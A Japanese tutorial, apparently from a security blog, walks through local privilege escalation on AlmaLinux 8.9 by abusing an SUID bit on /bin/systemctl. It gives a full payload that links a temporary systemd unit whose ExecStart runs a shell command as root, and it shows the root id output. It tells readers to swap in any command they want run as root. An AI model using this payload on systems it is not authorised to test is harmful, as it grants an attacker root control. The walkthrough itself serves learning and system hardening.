概要
/bin/systemctl
にSUIDがセットされている場合、それを悪用し権限昇格に利用できます。
SUIDビットが設定されたファイルの検索方法についての記事も併せてご覧ください。
環境
- OS: AlmaLinux 8.9
$ cat /etc/almalinux-release
AlmaLinux release 8.9 (Midnight Oncilla)
systemctl
にSUIDがセットされています。
$ ls -l /bin/systemctl
-rwsr-xr-x. 1 root root 223688 10月 15 2023 /bin/systemctl
現在は一般ユーザーアカウントuser
でログインしています。
$ whoami
user
権限昇格
使用するペイロード全体は下記。
最初に簡単に説明すると、systemctl
のユニットファイルを置き換えて任意のコマンドをroot権限で実行しています。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
少し詳しく解説します。
まず、TF=$(mktemp).service
を実行します。
ここでは、systemdのユニットファイルパス
をTF
という変数に入れています。ファイル名はmktemp
コマンドで適当なファイル名を付けています。
[user@localhost ~]$ TF=$(mktemp).service
[user@localhost ~]$ echo $TF
/tmp/tmp.MXTewjrxXT.service
mktemp
コマンドで作業用の一時ファイル,一時ディレクトリを作成できる。
$ mktemp
/tmp/tmp.RhAZQDLWNl
次に、echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF
を実行します。
ここでは、'[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target'
の文字列を先ほど作成したユニットファイルに保存しています。
cat
コマンドでユニットファイルに保存されていることを確認できます。
[user@localhost ~]$ echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF
[user@localhost ~]$ cat $TF
[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target
ユニットファイルの各要素についてはRedHatカスタマーポータルを参考にしてください。
今回重要なのはExecStart
です。
ExecStart: ユニットの開始時に実行するコマンドまたはスクリプトを指定します。
今回の場合id
コマンドがsystemctl
開始時にroot権限で実行されます。
ここをroot権限で実行したいコマンドに適宜置き換えて下さい。
そしてコマンドの実行結果を/tmp/output
ファイルに保存するよう指定しています。
次に、/bin/systemctl link $TF
を実行します。
$ /bin/systemctl link $TF
Created symlink /etc/systemd/system/tmp.MXTewjrxXT.service → /tmp/tmp.MXTewjrxXT.service.
ここでは、systemctl
コマンドのユニットファイルパスをTF
変数のファイルパス/tmp/tmp.MXTewjrxXT.service
にリンクさせています。
systemctl
のlink
についての詳細はman
コマンドやこちらのサイトから確認してください。
最後に、sudo systemctl enable --now $TF
を実行します。
ここでは、systemctl
を実行しています。
実行することで、ExecStart
で指定したコマンドの結果が、指定したファイルパスに保存されていることが確認できました。
$ cat /tmp/output
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
今回はid
コマンドの結果を/tmp/output
ファイルに保存しました。
結果、root権限で実行されたid
コマンドの出力を確認できました。
上記の流れで権限昇格に成功しました。
参考サイト